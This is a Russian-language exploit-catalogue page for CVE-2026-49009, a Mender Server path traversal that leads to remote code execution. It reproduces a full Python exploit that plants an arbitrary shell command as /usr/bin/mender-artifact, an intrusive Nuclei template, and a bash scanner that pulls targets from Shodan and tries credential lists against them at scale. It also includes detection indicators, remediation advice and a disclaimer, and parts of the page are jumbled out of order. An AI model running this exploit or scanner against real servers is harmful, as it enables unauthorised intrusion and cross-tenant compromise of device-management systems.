Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/inteleon404/cve-2026-49009
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubinteleon404/cve-2026-49009

CVE-2026-49009

Mender Server — аутентифицированный обход пути, приводящий к RCE

Репозиторий
53 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49009 — Mender Server: прошедшая аутентификацию уязвимость path traversal, приводящая к удалённому выполнению кода

CVE CVSS CWE Status License

Обнаружено j0xh-sec через HackerOne · *PoC: INTELEON404


Оглавление

  • Сводка по уязвимости
  • Затронутые версии
  • Технический анализ
  • Proof of Concept
    • Python Exploit
    • Nuclei Template
    • ShodanX + Nuclei Scanner
  • Использование
  • Обнаружение и индикаторы
  • Устранение
  • Хронология
  • Ссылки
  • Дисклеймер

Сводка по уязвимости

Описание

Mender Server версий ≤4.1.0 и ≤4.0.1 содержит аутентифицированную уязвимость path traversal в конечной точке API генерации однофайловых артефактов. Атакующий, передающий последовательности ../ в поле filename, может перезаписать /usr/bin/mender-artifact внутри контейнера create-artifact-worker. Когда следующий шаг рабочего процесса вызывает этот бинарный файл, произвольные команды выполняются в виде кода.

В мультитенантных средах Hosted Mender общий контейнер воркера обрабатывает артефакты для всех тенантов, что позволяет осуществить компрометацию между тенантами.


Затронутые версии


Технический анализ

Корневая причина

Конечная точка /api/management/v1/deployments/artifacts/generate принимает поле filename в JSON-параметре args. Это значение используется для формирования пути записи на диск при генерации артефакта. Последовательности обхода пути (../) не санируются, что позволяет управляемому атакующим значению выйти за пределы предполагаемого каталога загрузки.

Схема атаки```

┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. AUTHENTICATE │ │ POST /api/management/v1/useradm/auth/login │ │ Authorization: Basic <base64(user:pass)> │ │ ──────────────────────────────────────────────────────► │ │ 200 OK + JWT token │ │ │ │ 2. SUBMIT TRAVERSAL PAYLOAD │ │ POST /api/management/v1/deployments/artifacts/generate │ │ Authorization: Bearer │ │ args.filename = "../../../../usr/bin/mender-artifact" │ │ file = │ │ ──────────────────────────────────────────────────────► │ │ 202 Accepted + Location │ │ │ │ 3. WORKER CONTAINER WRITES FILE │ │ /usr/bin/mender-artifact ← attacker payload │ │ │ │ 4. NEXT WORKFLOW TRIGGER │ │ create-artifact-worker invokes /usr/bin/mender-artifact │ │ ──────────────────────────────────────────────────────► │ │ REMOTE CODE EXECUTION │ └─────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Почему это работает

| Фактор | Объяснение |
|---|---|
| **Несанитизированный путь** | `../../../../usr/bin/mender-artifact` выходит за пределы предполагаемого назначения `/opt/mender/app/` |
| **Асинхронная обработка** | `create-artifact-worker` асинхронно записывает файл до любой последующей проверки |
| **Перехват бинарного файла** | Последующие шаги рабочего процесса вызывают `/usr/bin/mender-artifact` в рамках обычной работы |
| **Повторное использование контейнера** | В мультитенантных развертываниях один и тот же рабочий контейнер обрабатывает артефакты для всех арендаторов |

---

## Доказательство концепции

> **Требуется авторизация.** Запускайте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.

### Эксплойт на Python

<details>
<summary>▶ Посмотреть код эксплойта</summary>```python
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by:        INTELEON404 (Authorized security assessment)
"""

import argparse
import base64
import json
import re
import sys
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
        epilog="Discovered by j0xh-sec | PoC by INTELEON404"
    )
    parser.add_argument("-t", "--target",   required=True, help="Base URL, e.g. https://mender.local")
    parser.add_argument("-u", "--username", required=True, help="Mender username / email")
    parser.add_argument("-p", "--password", required=True, help="Mender password")
    parser.add_argument("-c", "--command",  required=True, help="Command to execute")
    return parser.parse_args()


def banner():
    print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
    print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")


def build_payload(command: str) -> bytes:
    """Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
    encoded = base64.b64encode(command.encode()).decode()
    return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()


def main():
    args = parse_args()
    banner()

    target = args.target.rstrip("/")
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    host = target.split("://")[1].split("/")[0]

    print(f"[*] Target : {target}")
    print(f"[*] User   : {args.username}")

    # ── Step 1: Authenticate ──────────────────────────────────────────────
    print("[*] Authenticating...")
    try:
        r = requests.post(
            f"{target}/api/management/v1/useradm/auth/login",
            auth=(args.username, args.password),
            headers={"Host": host, "Content-Type": "application/json"},
            data="{}",
            verify=False,
            timeout=30,
        )
        if r.status_code != 200:
            raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
        jwt = r.text.strip()
        print("[+] JWT obtained")
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during login: {e}")

    # ── Step 2: Submit traversal payload ─────────────────────────────────
    print("[*] Submitting path traversal payload...")
    artifact_name = f"rce-poc-{int(time.time())}"

    args_json = {
        "filename": "../../../../usr/bin/mender-artifact",
        "dest_dir": "/opt/mender/app",
        "software_name": "demo",
        "software_version": "1",
    }

    files = {
        "name":                     (None, artifact_name),
        "description":              (None, "CVE-2026-49009 PoC"),
        "type":                     (None, "single-file"),
        "device_types_compatible":  (None, "qemu"),
        "args":                     (None, json.dumps(args_json), "application/json"),
        "file":                     ("payload.sh", build_payload(args.command), "application/octet-stream"),
    }

    try:
        r = requests.post(
            f"{target}/api/management/v1/deployments/artifacts/generate",
            headers={"Host": host, "Authorization": f"Bearer {jwt}"},
            files=files,
            verify=False,
            timeout=60,
            allow_redirects=False,
        )
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during exploit: {e}")

    location = r.headers.get("Location", "")
    if not location:
        print(f"[!] HTTP {r.status_code} — no Location header returned")
        print(f"[!] Response: {r.text[:500]}")
        print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
        sys.exit(1)

    job_id = re.search(r"/([^/]+)$", location).group(1)
    print(f"[+] Workflow submitted — Job ID: {job_id}")
    print(f"[+] Payload : {args.command}")
    print("\n[*] Command executes inside the worker container when the workflow completes.")


if __name__ == "__main__":
    try:
        main()
    except RuntimeError as e:
        print(f"\n[!] ERROR: {e}", file=sys.stderr)
        sys.exit(1)
    except KeyboardInterrupt:
        print("\n[*] Interrupted")
        sys.exit(130)

Шаблон Nuclei

▶ Просмотреть шаблон (CVE-2026-49009.yaml)```yaml id: CVE-2026-49009

info: name: Mender Server - Authenticated Path Traversal to RCE Detection author: j0xh-sec severity: medium description: | Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory. impact: | Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container. remediation: | Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: northern.tech product: mender_server shodan-query: http.title:"Mender" fofa-query: title="Mender" tags: cve,cve2026,mender,path-traversal,rce,authenticated

http:

  • raw:

    • |+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

      ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name"

      cve-scan-{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="description"

      CVE-2026-49009 verification ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="type"

      single-file ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="device_types_compatible"

      qemu ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json

      {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream

      #!/bin/sh echo ------WebKitFormBoundary{{randstr}}--

    matchers-condition: or matchers:

    If the instance responds with a 400 Bad Request indicating a parsing error or


Использование

Требования

PoC на Python```bash

python3 cve-2026-49009.py
-t https://mender-server.local
-u [email protected]
-p 's3cret!'
-c 'id > /tmp/pwned.txt'

root@kitploit:~
### Nuclei```bash
nuclei -t CVE-2026-49009.yaml \
  -u https://mender-server.local \
  -var [email protected] \
  -var PASSWORD='s3cret!'

Сканер```bash

Full automatic scan (ShodanX + Nuclei)

./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword'

Credential rotation from file

./cve-2026-49009-scanner.sh -c creds.txt

Skip discovery, scan known targets

./cve-2026-49009-scanner.sh -n -t targets.txt -u [email protected] -P 'YourPassword'

Extended scan

./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword' -p 10 -r 150

root@kitploit:~
---

## Обнаружение и индикаторы

### Приложение / хост

| Индикатор | Описание |
|---|---|
| Заголовок `Location` после имени файла с обходом каталогов | Сервер возвращает `Location` после принятия имени файла, содержащего `../` |
| Подозрительные имена артефактов | Шаблоны: `cve-poc-*`, `rce-poc-*`, `pwn-*` |
| Изменённая временная метка бинарного файла | Временная метка `/usr/bin/mender-artifact` изменена внутри рабочего контейнера |
| Неожиданный вывод рабочего процесса | Журналы контейнера, показывающие команды, не связанные с обработкой артефактов |

### Сеть

| Индикатор | Описание |
|---|---|
| POST к `artifacts/generate` | С JSON-параметром `args`, содержащим последовательности `../` |
| Пара «авторизация + загрузка» | Вход с базовой аутентификацией, сразу за которым следует multipart-загрузка с того же исходного IP-адреса |

### Логика срабатывания Nuclei

Шаблон возвращает положительный результат, когда:
1. `POST /useradm/auth/login` → `HTTP 200` + действующий JWT (> 100 символов)
2. `POST /artifacts/generate` → `HTTP 2xx` + наличие заголовка `Location`

Пропатченный сервер (≥ 4.1.1 / 4.0.2) отклоняет путь обхода каталогов с `HTTP 4xx` на шаге 2.

---

## Устранение

| Приоритет | Действие |
|---|---|
| **Немедленно** | Обновите Mender Server до версии **4.1.1** или **4.0.2** |
| **Компенсирующий контроль** | Включите криптографическую подпись артефактов — устройства будут отклонять подделанные артефакты |
| **Обходной путь** | Ограничьте доступ к API доверенными сетями; отключите генерацию артефактов, если она не используется |
| **Аудит** | Просмотрите журналы на предмет запросов генерации артефактов с необычными значениями `filename` |

---

## Хронология

| Дата | Событие |
|---|---|
| 2026-04-01 | Выпущены Mender Server 4.1.1 / 4.0.2 с исправлением |
| 2026-05-27 | Опубликован CVE; выпущено уведомление от Northern.tech |
| 2026-05-27 | Опубликован PoC от INTELEON404 |

---

## Ссылки

- [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
- [Northern.tech Security Advisory](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
- [OpenCVE Entry](https://app.opencve.io/cve/CVE-2026-49009)
- [Tenable CVE Page](https://www.tenable.com/cve/CVE-2026-49009)
- [Mender Server Changelog](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
- [Mender Enterprise Changelog](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
- [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
- [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)

---

## Дисклеймер

> [!WARNING]
> **Только для авторизованного тестирования безопасности и образовательных целей.**
>
> Эта proof-of-concept-программа предназначена строго для использования против систем, которыми вы владеете или на тестирование которых получили **явное письменное разрешение**. Несанкционированный доступ к компьютерным системам незаконен согласно Закону о компьютерном мошенничестве и злоупотреблениях (CFAA), Закону о неправомерном использовании компьютеров (CMA) и аналогичному законодательству во всём мире.
>
> Авторы не несут ответственности за неправомерное использование, ущерб или незаконные действия, возникающие в результате использования данного материала.

---

<div align="center">

**Обнаружено** [j0xh-sec](https://hackerone.com/j0xh-sec) через HackerOne · Ответственное раскрытие информации Northern.tech  
**PoC от** INTELEON404 · Авторизованная оценка безопасности

</div>
Скачать инструмент
ПолеДетали
CVE IDCVE-2026-49009
CVSS Score9.9 Critical — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-22 — Improper Limitation of a Pathname to a Restricted Directory
Затронутый продуктNorthern.tech Mender Server (Community & Enterprise)
Обнаруженоj0xh-sec через HackerOne (ответственное раскрытие)
Автор PoCINTELEON404 — Авторизованная оценка безопасности
Дата публикации CVE2026-05-27
Выпущен патч2026-04-01 (Mender Server 4.1.1 / 4.0.2)
ПродуктУязвимые версииИсправленная версия
Mender Server (Community)≤ 4.1.0, ≤ 4.0.14.1.1, 4.0.2
Mender Server (Enterprise)≤ 4.1.0, ≤ 4.0.14.1.1, 4.0.2
Hosted MenderВсе (до установки патча)Автоматически пропатчено

schema validation failure specifically from the deployment service, the path exists.

  • type: dsl dsl:
    • "status_code == 400"
    • "contains(body, 'deployment') || contains(body, 'artifact')" condition: and

Secure setups or unauthenticated attempts to reach this deep API route will

typically return a 401 Unauthorized, validating endpoint presence but blocking access.

  • type: dsl dsl:
    • "status_code == 401"
    • "contains(body, 'unauthorized') || contains(body, 'jwt')" condition: or
root@kitploit:~
</details>

## Nuclei POC
<a href="https://ibb.co.com/27n0JF6s"><img src="https://assets.kitploit.com/production/public/readmes/36707/5c8a69f64497e83df558e6d279b781e9a0ee7cf5bb39cbc0df16bff464ebb5d8/15d30fbbab29d646b3ab7c75f2a4752839a1ca010fa26912e638bf4a128424d8-display-v1.webp" alt="poc" border="0"></a>

---

### ShodanX + Nuclei сканер

Объединяет разведку [ShodanX](https://github.com/RevoltSecurities/ShodanX) со сканированием Nuclei для обнаружения и оценки экземпляров Mender Server в масштабе.

**Этапы:**
1. **Обнаружение** — дорк ShodanX `http.title:"Mender"` извлекает пары IP:port
2. **Сканирование** — Nuclei запускает CVE-шаблон по обнаруженным целям с ротацией учётных данных
3. **Отчётность** — дедуплицированный вывод в формате JSON и обычного текста

<details>
<summary>▶ Просмотреть скрипт сканера (cve-2026-49009-scanner.sh)</summary>```bash
#!/bin/bash
set -euo pipefail

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}"
SHODAN_QUERY='http.title:"Mender"'
PAGES=3
RATE=50
NO_SHODAN=false
CREDS_ARRAY=()

usage() {
    cat <<EOF
Usage: $0 [options]
  -u, --username   Mender username
  -P, --password   Mender password
  -c, --creds      Credentials file (username:password, one per line)
  -q, --query      Shodan query (default: http.title:"Mender")
  -o, --output     Output directory
  -p, --pages      Shodan result pages (default: 3)
  -r, --rate       Nuclei rate limit (default: 50)
  -n, --no-shodan  Skip ShodanX discovery
  -t, --targets    Target file (used with --no-shodan)
  -h, --help       Show this help
EOF
    exit 0
}

while [[ $# -gt 0 ]]; do
    case "$1" in
        -q|--query)     SHODAN_QUERY="$2"; shift 2 ;;
        -o|--output)    OUTPUT_DIR="$2";   shift 2 ;;
        -p|--pages)     PAGES="$2";        shift 2 ;;
        -u|--username)  USERNAME="$2";     shift 2 ;;
        -P|--password)  PASSWORD="$2";     shift 2 ;;
        -c|--creds)     CREDS_FILE="$2";   shift 2 ;;
        -n|--no-shodan) NO_SHODAN=true;    shift   ;;
        -t|--targets)   TARGETS_FILE="$2"; shift 2 ;;
        -r|--rate)      RATE="$2";         shift 2 ;;
        -h|--help)      usage ;;
        *) echo "Unknown option: $1"; usage ;;
    esac
done

check_deps() {
    command -v shodanx &>/dev/null || {
        echo "[*] Installing ShodanX..."
        pip install git+https://github.com/RevoltSecurities/ShodanX --quiet
    }
    command -v nuclei &>/dev/null || {
        echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
        exit 1
    }
}

write_template() {
    cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL'
id: CVE-2026-49009
info:
  name: Mender Server - Authenticated Path Traversal to RCE
  author: j0xh-sec
  severity: critical
  description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE.
  remediation: Upgrade to 4.1.1 or 4.0.2.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49009
    - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-49009
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: northern.tech
    product: mender_server
  tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive
http:
  - raw:
      - |+
        POST /api/management/v1/useradm/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Basic {{base64('{{username}}:{{password}}')}}
        {}
      - |+
        POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{jwt}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="name"
        cve-poc-{{randhex_6}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="args"
        Content-Type: application/json
        {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="file"; filename="payload.sh"
        Content-Type: application/octet-stream
        #!/bin/sh
        /usr/bin/id>/tmp/.cve-2026-49009
        ------WebKitFormBoundary{{randstr}}--
    extractors:
      - type: regex
        name: jwt
        part: body
        internal: true
        regex:
          - "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)"
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'len(jwt) > 100'
          - 'status_code_2 >= 200 && status_code_2 < 300'
          - 'contains(to_string(header_2_all), "Location")'
        condition: and
TMPL
    echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml"
}

shodanx_discover() {
    echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})"
    mkdir -p "${OUTPUT_DIR}"
    shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
        --output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \
    shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
        --output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true

    if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \
       grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then
        :
    else
        grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \
            "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true
    fi
    echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered"
}

nuclei_scan() {
    [[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; }
    echo "[*] Running Nuclei scan (rate: ${RATE})..."
    for cred in "${CREDS_ARRAY[@]}"; do
        nuclei -silent \
            -t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \
            -l "${OUTPUT_DIR}/targets.txt" \
            -var "USERNAME=${cred%%:*}" \
            -var "PASSWORD=${cred#*:}" \
            -rate-limit "${RATE}" \
            -jsonl \
            -o "${OUTPUT_DIR}/nuclei-results.json" \
            -timeout 15 -retries 2 -irr 2>/dev/null
    done
    if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then
        COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json")
        echo "[+] ${COUNT} vulnerability(ies) confirmed"
        jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \
            sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt"
    else
        echo "[-] No vulnerabilities found or no results returned"
    fi
}

main() {
    check_deps
    mkdir -p "${OUTPUT_DIR}"
    write_template

    if $NO_SHODAN; then
        [[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \
            cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \
            { echo "[!] --no-shodan requires --targets <file>"; exit 1; }
    else
        shodanx_discover
    fi

    if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then
        CREDS_ARRAY=("${USERNAME}:${PASSWORD}")
    elif [[ -n "${CREDS_FILE:-}" ]]; then
        while IFS=':' read -r u p; do
            [[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}")
        done < "$CREDS_FILE"
    else
        echo "[!] Credentials required: use -u/-P, -c <file>, or set MENDER_USERNAME/MENDER_PASSWORD"
        exit 1
    fi

    nuclei_scan
    echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/"
}

main
ЗависимостьУстановка
Python 3.8+apt install python3 python3-pip
requests / urllib3pip install requests urllib3
Nucleigo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
ShodanX (необязательно)pip install git+https://github.com/RevoltSecurities/ShodanX